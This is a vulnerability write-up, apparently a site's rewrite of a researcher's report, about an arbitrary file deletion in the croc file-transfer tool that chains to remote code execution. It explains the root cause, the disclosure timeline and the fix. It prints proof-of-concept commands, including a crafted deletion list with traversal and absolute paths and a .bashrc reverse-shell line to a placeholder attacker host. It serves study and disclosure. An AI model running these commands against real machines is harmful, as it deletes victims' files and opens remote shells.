Skip to content
Path traversal Write-up Intermediate

CrocTears or how I found an Arbitrary File Deletion that can be escalated to RCE in croc

croc trusted a predictable filename in the working directory as a list of files to delete, so a malicious sender could send a file with that name containing arbitrary paths and cause the receiver to delete attacker-chosen files. When the victim receives into their home directory, this could be chained to remote code execution by deleting then replacing a shell init file.

Elohim Follow

Published on medium.com

Cve

Elohim, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

croc is an end-to-end-encrypted file-transfer tool that lets two machines transfer files through a relay. The sender fully controls the names and contents of the files it sends, and received files land in the receiver's current working directory (CWD).

From the original on medium.com

To clean up temporary files, croc kept an on-disk list of files to remove and deleted everything in that list on exit. That list is the feature at the centre of this write-up.

Affected versions are 10.0.13 through 11.0.2. The fix landed in 11.0.3.

Setup

The preconditions that matter are behavioural:

  1. The sender can choose the name and content of the file it sends.
  2. The receiver runs croc from a directory it cares about, and received files land in the CWD.
  3. The receiver accepts the transfer (the UI:R condition in the CVSS vector).

For the RCE chain, the write-up describes the victim receiving into their home directory, so that a file named .bashrc lands there and is sourced by later shells.

The write-up gives CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H, giving 8.1 (High).

Finding it

The problem is a magic filename in the working directory. In src/utils/utils.go, croc defines a constant for the removal list and a function that reads it and deletes every line:

Text
const crocRemovalFile = "croc-marked-files.txt"func RemoveMarkedFiles() (err error) {    f, err := os.Open(crocRemovalFile)       ...    for scanner.Scan() {        fname := scanner.Text()        err = os.Remove(fname)               }    ...}

RemoveMarkedFiles() runs on normal exit (main.go:45) and on Ctrl-C (main.go:51). It reads croc-marked-files.txt from the current directory and calls os.Remove() on every line, with no path validation and no confinement, so both absolute and relative paths are deleted.

Because the sender controls file names and contents, an attacker can send a file named croc-marked-files.txt whose content is a list of file paths. Once the victim receives it, those files are automatically deleted.

Exploitation

Step 1: Arbitrary file deletion (PoC #1)

The attacker crafts the list and sends it:

Bash
mkdir -p /tmp/attacker && cd /tmp/attackerprintf 'secret.txt\n../victim-sibling.txt\n/tmp/absolute-target.txt\n' > croc-marked-files.txtcroc send croc-marked-files.txt

The list contains three kinds of path: a plain relative name (secret.txt), a traversal path (../victim-sibling.txt) and an absolute path (/tmp/absolute-target.txt).

The victim receives it into a directory with files they care about:

Bash
mkdir -p /tmp/victim && cd /tmp/victimecho A > secret.txtecho B > /tmp/victim-sibling.txt echo C > /tmp/absolute-target.txt CROC_SECRET=<code> croc - yes

On completion, all three targets are deleted.

Step 2: Removing the overwrite prompt (PoC #2)

Deletion alone is destructive, but it also removes the one thing standing between an attacker and code execution: the overwrite prompt. croc will not silently overwrite an existing file, but if the target is deleted first, the follow-up write lands with no prompt. Targeting a shell init file such as .bashrc leads to code execution.

Transfer 1: delete ~/.bashrc:

Bash
printf '.bashrc\n' > croc-marked-files.txtcroc send croc-marked-files.txtCROC_SECRET=<code1> croc - yes

Transfer 2: plant a malicious .bashrc:

Bash
cat > .bashrc <<'EOF'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1EOFcroc send .bashrcCROC_SECRET=<code2> croc - yes

Execution: on the victim's next interactive shell or SSH login, ~/.bashrc is sourced and the payload runs as the victim.

Screenshots

Attacker deletes .bachrc From the original on medium.com

Attacker deletes .bachrc

Attacker sends new .bashrc From the original on medium.com

Attacker sends new .bashrc

Victims gets its .bachrc file repalced From the original on medium.com

Victims gets its .bachrc file repalced

Next time the victim opens a shell, the attacker gets one too :D From the original on medium.com

Next time the victim opens a shell, the attacker gets one too :D

Root cause

The removal list is a predictable filename in the working directory, and croc trusts its contents. RemoveMarkedFiles() opens croc-marked-files.txt from the CWD and passes every line straight to os.Remove() without validating the path or confining it to a safe directory. Since the sender controls the names of received files, the attacker can supply that exact filename and put arbitrary paths in it, including absolute paths and ../ traversal.

The second half of the chain is the overwrite prompt. croc refuses to silently overwrite an existing file, which would normally block planting a payload over .bashrc. Deleting the target first removes that obstacle, so the follow-up transfer writes the file with no prompt.

Impact

An attacker who can send files to a victim can delete attacker-chosen files on the victim's machine, using absolute paths or ../ traversal. When the victim receives into their home directory, the deletion can be chained to remote code execution by deleting then sending files such as .bashrc, and the payload runs as the victim on their next interactive shell or SSH login.

The attack requires the victim to accept the transfer (UI:R). The write-up gives it 8.1 (High) with integrity and availability high, confidentiality none.

Fix

The fix landed in 11.0.3, committed as c0d51f0. The write-up notes that it was a silent fix: the commit carried no description, no security note and no advisory. The maintainer refused to request a CVE ID and refused to give the researcher credit, and after several email exchanges told the researcher they should have created a PR themselves. The researcher argues that a PR is public by design and would have disclosed the vulnerability before there was an appropriate coordinated disclosure process in place. A CVE was later requested from MITRE.

Disclosure timeline:

  • 2026-08-10 02:07 GMT+2: reported via GitHub Security Advisory
  • 2026-08-10 02:53 GMT+2: fix committed (c0d51f0); v11.0.3 published 02:55:57 GMT+2
  • Later: CVE requested from MITRE

The write-up's closing note is to update to croc 11.0.3 or later.

Variants to test

  1. Other predictable cleanup or state files in a tool's working directory. Send a file with that exact name and a path list as content, then check whether the listed files disappear on exit or on Ctrl-C. A positive result is a file outside the receive directory being removed.
  2. Traversal and absolute paths in any list-driven deletion. Put ../sibling.txt and an absolute path in the list and confirm both are deleted. A positive result is deletion outside the CWD.
  3. Overwrite-prompt bypass by deletion. Identify a file the tool refuses to overwrite, delete it through the list, then send a replacement. A positive result is the replacement landing without a prompt.
  4. Shell init files as the replacement target. Delete .bashrc (or another init file sourced by the victim's shell) and send a replacement, then open a new shell. A positive result is the payload running as the victim.
  5. Ctrl-C path. Trigger the cleanup handler by interrupting the receiver rather than letting it exit normally, and check whether the list is still processed. A positive result is deletion on interrupt.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

croc is a small program that lets two computers send files to each other. You run it on your machine, the other person runs it on theirs, and the file travels through a middle server called a relay. The important part is that the file is encrypted end to end, meaning the relay cannot read what passes through it. The sender chooses the name of the file and what is inside it, and on the receiving side the file simply appears in whatever folder the receiver was standing in when they started croc. That folder is called the current working directory, or CWD.

From the original on medium.com

croc also has a housekeeping habit. While it works, it keeps a list of temporary files it plans to clean up, and when it exits it deletes every file named in that list. The list is an ordinary text file on disk. That housekeeping feature is where the whole problem lives.

A security researcher found that the list has a fixed, guessable name, and that croc trusts whatever is written inside it. Because a sender can name the file they send, a malicious sender can send a file with exactly that name, and put a list of other people's files inside it. When the victim receives it, croc reads the list and deletes the files named there. The attacker can therefore delete files of their choosing on the victim's computer.

That is bad on its own, but it gets worse. croc refuses to overwrite a file that already exists, which normally protects people from having their files replaced without warning. If the attacker deletes a file first, though, the way is clear: the next file sent with that name lands with no warning at all. If the deleted file is a shell startup file such as .bashrc, the replacement can contain a command that gives the attacker a remote shell the next time the victim logs in. That turns a file deletion into remote code execution, usually shortened to RCE.

The affected versions are 10.0.13 through 11.0.2. The fix arrived in 11.0.3. The write-up gives the issue 8.1 (High) using CVSS 3.1, a standard scoring system for vulnerabilities, with the vector AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H. In plain terms: it can be attacked over the network, it is easy to carry out, the attacker needs no account, the victim has to accept the transfer, integrity and availability are badly affected, and confidentiality is not.

Background: what croc does and why the details matter

croc is a command-line file transfer tool. You type a command, it prints a short code, and the other side types that code to connect. Files travel through a relay, but they are encrypted so the relay only sees scrambled data. The researcher's summary is that croc lets two machines transfer files through a relay.

Three details set up the bug:

  1. The sender decides the name of every file they send. Nothing stops them choosing a name that means something special to the receiving program.
  2. The sender decides the content of every file. A text file can contain anything, including a list of paths.
  3. Received files land in the receiver's current working directory. If the victim runs croc from their home folder, the received file lands in their home folder.

A useful comparison: imagine a courier who delivers a parcel to your hallway. You choose which room you are standing in, but the courier writes the label on the box. If your house rules say "when a box labelled CLEANUP arrives, throw away everything listed on the note inside", then a dishonest courier can label a box CLEANUP and put your passport on the note.

The bug: a magic filename in your working directory

To clean up after itself, croc kept a list on disk and deleted everything in it when it exited. The relevant code is in src/utils/utils.go:

Text
const crocRemovalFile = "croc-marked-files.txt"func RemoveMarkedFiles() (err error) {    f, err := os.Open(crocRemovalFile)       ...    for scanner.Scan() {        fname := scanner.Text()        err = os.Remove(fname)               }    ...}

Line by line, in plain words:

  • const crocRemovalFile = "croc-marked-files.txt" gives the list a fixed name. Every copy of croc looks for the same filename, so anyone can predict it.
  • func RemoveMarkedFiles() (err error) { starts a function whose job is to remove the marked files. It returns an error value, which is Go's way of reporting whether something went wrong.
  • f, err := os.Open(crocRemovalFile) opens that file from the current directory. There is no check that the file is genuinely croc's own list; any file with that name will do.
  • for scanner.Scan() { reads the file one line at a time.
  • fname := scanner.Text() takes the current line as a filename.
  • err = os.Remove(fname) deletes that file. There is no check on what the line contains: no restriction to the current folder, no rejection of .. (which means "go up one folder"), no rejection of paths starting with / (which means "start from the very top of the disk").

The function RemoveMarkedFiles() runs when croc exits normally (main.go:45) and when the user presses Ctrl-C (main.go:51). So the deletion happens either way.

Because the sender controls file names and contents, an attacker can send a file called croc-marked-files.txt whose content is a list of paths. When the victim receives it, croc later reads that list and deletes the files named in it. The attacker only needs the victim to accept a file.

Exploitation

Step 1: deleting arbitrary files (PoC #1)

"Arbitrary file deletion" means deleting any file the attacker names, not just files belonging to the program. The attacker first writes the list and sends it:

Bash
mkdir -p /tmp/attacker && cd /tmp/attackerprintf 'secret.txt\n../victim-sibling.txt\n/tmp/absolute-target.txt\n' > croc-marked-files.txtcroc send croc-marked-files.txt

What each part does:

  • mkdir -p /tmp/attacker && cd /tmp/attacker creates a scratch folder and moves into it, so the attacker's own files stay tidy.
  • printf 'secret.txt\n../victim-sibling.txt\n/tmp/absolute-target.txt\n' > croc-marked-files.txt writes three lines into a file named croc-marked-files.txt. The \n is a newline, so each path sits on its own line. The three lines show three kinds of path:
    • secret.txt is a plain relative name: a file in the same folder as the list.
    • ../victim-sibling.txt uses .. to step up one folder and then name a file there. This is called path traversal, and it lets a list reach outside the folder it sits in.
    • /tmp/absolute-target.txt starts with /, so it is an absolute path: it points to one exact place on the disk, wherever the list happens to be.
  • croc send croc-marked-files.txt sends that file to whoever connects with the matching code.

The victim, who has no idea any of this is happening, receives the file into a folder containing things they care about:

Bash
mkdir -p /tmp/victim && cd /tmp/victimecho A > secret.txtecho B > /tmp/victim-sibling.txt echo C > /tmp/absolute-target.txt CROC_SECRET=<code> croc - yes

What each part does:

  • mkdir -p /tmp/victim && cd /tmp/victim creates the victim's folder and moves into it. This is the current working directory, so the received file will land here.
  • echo A > secret.txt creates a file called secret.txt containing the letter A. This is the plain relative target.
  • echo B > /tmp/victim-sibling.txt creates a file one level up from the victim's folder. This is the traversal target.
  • echo C > /tmp/absolute-target.txt creates a file at an exact absolute location. This is the absolute target.
  • CROC_SECRET=<code> croc - yes starts croc in receive mode. CROC_SECRET is an environment variable, a setting passed to the program when it starts, holding the shared code that pairs the two sides. The <code> is a placeholder for the real code, which is a secret and is not reproduced here.

When the transfer finishes and croc exits, it reads croc-marked-files.txt and deletes all three targets. The victim never chose to delete anything; the attacker's list did it for them.

Step 2: removing the overwrite prompt (PoC #2)

Deleting files is destructive, but on its own it does not run code. The bridge to code execution is a safety feature: croc will not silently overwrite a file that already exists. If the attacker simply sent a file called .bashrc, croc would not silently overwrite the existing file.

So the attacker deletes the target first. With the file gone, the follow-up transfer has nothing to overwrite, and it lands with no prompt. The target chosen is a shell startup file. A shell is the program that reads your typed commands; .bashrc is a file the shell reads every time it starts, and it contains commands that run automatically. If an attacker controls .bashrc, they control what runs whenever the victim opens a terminal or logs in over SSH (a way of logging into another machine's command line over the network).

Transfer 1: delete ~/.bashrc:

Bash
printf '.bashrc\n' > croc-marked-files.txtcroc send croc-marked-files.txtCROC_SECRET=<code1> croc - yes

What each part does:

  • printf '.bashrc\n' > croc-marked-files.txt writes a single line, .bashrc, into the removal list. The ~ in ~/.bashrc means the user's home folder; the list only needs the relative name because the victim is receiving into their home folder.
  • croc send croc-marked-files.txt sends the list.
  • CROC_SECRET=<code1> croc - yes is the victim's side: they receive the file and accept, and on exit croc deletes their .bashrc.

Transfer 2: plant a malicious .bashrc:

Bash
cat > .bashrc <<'EOF'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1EOFcroc send .bashrcCROC_SECRET=<code2> croc - yes

What each part does:

  • cat > .bashrc <<'EOF' writes everything up to the line EOF into a file called .bashrc. This is called a heredoc, a way of typing a block of text into a file.
  • bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 is the payload, the command the attacker wants to run. bash -i starts an interactive shell. /dev/tcp/ATTACKER_IP/4444 is a special path that makes bash open a network connection to the attacker's address on port 4444. >& and 0>&1 redirect the shell's output and input over that connection, so the attacker gets a usable shell on the victim's machine. ATTACKER_IP is a placeholder for the attacker's address, which is not reproduced here.
  • croc send .bashrc sends the malicious file.
  • CROC_SECRET=<code2> croc - yes is the victim receiving it. Because .bashrc was deleted in transfer 1, there is nothing to overwrite, so no prompt appears and the file is written.

Execution: the next time the victim opens an interactive shell or logs in over SSH, the shell reads ~/.bashrc and runs the payload as the victim. The payload runs as the victim.

Screenshots

The researcher included screenshots of the chain in action.

Attacker deletes .bachrc From the original on medium.com

Attacker deletes .bachrc

Attacker sends new .bashrc From the original on medium.com

Attacker sends new .bashrc

Victims gets its .bachrc file repalced From the original on medium.com

Victims gets its .bachrc file repalced

Next time the victim opens a shell, the attacker gets one too :D From the original on medium.com

Next time the victim opens a shell, the attacker gets one too :D

Root cause

Two design choices combine. First, the removal list has a predictable name in the working directory, and croc trusts its contents. RemoveMarkedFiles() opens croc-marked-files.txt from the current directory and passes every line straight to os.Remove() without checking the path or confining it to a safe folder. Since the sender controls the names of received files, the attacker can supply that exact filename and put any paths inside it, including absolute paths and ../ traversal.

Second, the overwrite prompt is the only thing that would normally stop a payload being planted over .bashrc. Deleting the target first removes that obstacle, so the follow-up transfer writes the file with no prompt. Together they give code execution.

Impact

An attacker who can send files to a victim can delete files of their choosing on the victim's machine, using absolute paths or ../ traversal. When the victim receives into their home directory, the deletion can be chained to remote code execution by deleting and then sending files such as .bashrc, and the payload runs as the victim on their next interactive shell or SSH login.

The attack requires the victim to accept the transfer, which is the UI:R condition in the CVSS vector: user interaction is required. The write-up gives it 8.1 (High), with integrity and availability high and confidentiality none.

Fix and disclosure

The fix landed in 11.0.3, committed as c0d51f0. The researcher notes that it was a silent fix: the commit carried no description, no security note and no advisory, for a vulnerability that turned out to be a two-year-old remote-code-execution chain.

The write-up also describes how the disclosure was handled. The maintainer refused to request a CVE ID, which is the public identifier used to track a known vulnerability, and refused to give the researcher credit. After several email exchanges, the researcher was told they should have created a PR themselves. A PR, or pull request, is a proposed change to a public code repository; the researcher argues that a PR is public by design and would have disclosed the vulnerability before a coordinated disclosure process was in place. A CVE was later requested from MITRE, the organisation that assigns them.

Disclosure timeline:

  • 2026-08-10 02:07 GMT+2: reported via GitHub Security Advisory, GitHub's private channel for reporting vulnerabilities in projects hosted there
  • 2026-08-10 02:53 GMT+2: fix committed (c0d51f0); v11.0.3 published 02:55:57 GMT+2
  • Later: CVE requested from MITRE

The write-up's closing note is to update to croc 11.0.3 or later.

Variants to test

Each one describes what to try and what a positive result looks like.

  1. Other predictable cleanup or state files in a tool's working directory. Send a file with that exact name and a path list as content, then check whether the listed files disappear on exit or on Ctrl-C. A positive result is a file outside the receive directory being removed.
  2. Traversal and absolute paths in any list-driven deletion. Put ../sibling.txt and an absolute path in the list and confirm both are deleted. A positive result is deletion outside the CWD.
  3. Overwrite-prompt bypass by deletion. Identify a file the tool refuses to overwrite, delete it through the list, then send a replacement. A positive result is the replacement landing without a prompt.
  4. Shell init files as the replacement target. Delete .bashrc (or another init file sourced by the victim's shell) and send a replacement, then open a new shell. A positive result is the payload running as the victim.
  5. Ctrl-C path. Trigger the cleanup handler by interrupting the receiver rather than letting it exit normally, and check whether the list is still processed. A positive result is deletion on interrupt.

Glossary

  • Absolute path: a file location written from the very top of the disk, starting with /, such as /tmp/absolute-target.txt.
  • Arbitrary file deletion: a flaw that lets an attacker delete any file they name, not just files belonging to the program.
  • .bashrc: a file in a user's home folder that the bash shell reads and runs every time it starts.
  • CVE: a public identifier for a known vulnerability, requested from an organisation such as MITRE.
  • CVSS: a standard scoring system that rates how severe a vulnerability is, from 0 to 10, using a vector of letters and numbers.
  • CWD (current working directory): the folder a program is running in; relative paths are resolved from here.
  • End-to-end encryption: encryption where only the two ends can read the data, so the relay in the middle cannot.
  • Environment variable: a named setting passed to a program when it starts, such as CROC_SECRET.
  • Heredoc: a way of writing a block of text into a file or command in one go, ended by a marker line such as EOF.
  • Integrity, availability, confidentiality: the three things security aims to protect; integrity means data is not altered, availability means systems keep working, confidentiality means data stays secret.
  • MITRE: the organisation that assigns CVE identifiers.
  • Path traversal: using .. in a path to step up out of the intended folder and reach files elsewhere.
  • Payload: the command an attacker wants to run on the victim's machine.
  • PoC (proof of concept): a worked example that demonstrates a vulnerability really works.
  • PR (pull request): a proposed change to a public code repository, visible to everyone.
  • Relative path: a file location written relative to the current folder, such as secret.txt or ../victim-sibling.txt.
  • Relay: a middle server that passes traffic between two machines.
  • Remote code execution (RCE): a flaw that lets an attacker run their own commands on someone else's machine.
  • Shell: the program that reads your typed commands and runs them.
  • Shell init file: a file the shell runs automatically at startup, such as .bashrc.
  • SSH: a way of logging into another machine's command line over the network.
  • UI:R: the part of a CVSS vector meaning the victim must interact, for example by accepting a transfer.
  • Vulnerability: a weakness in software that an attacker can abuse.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.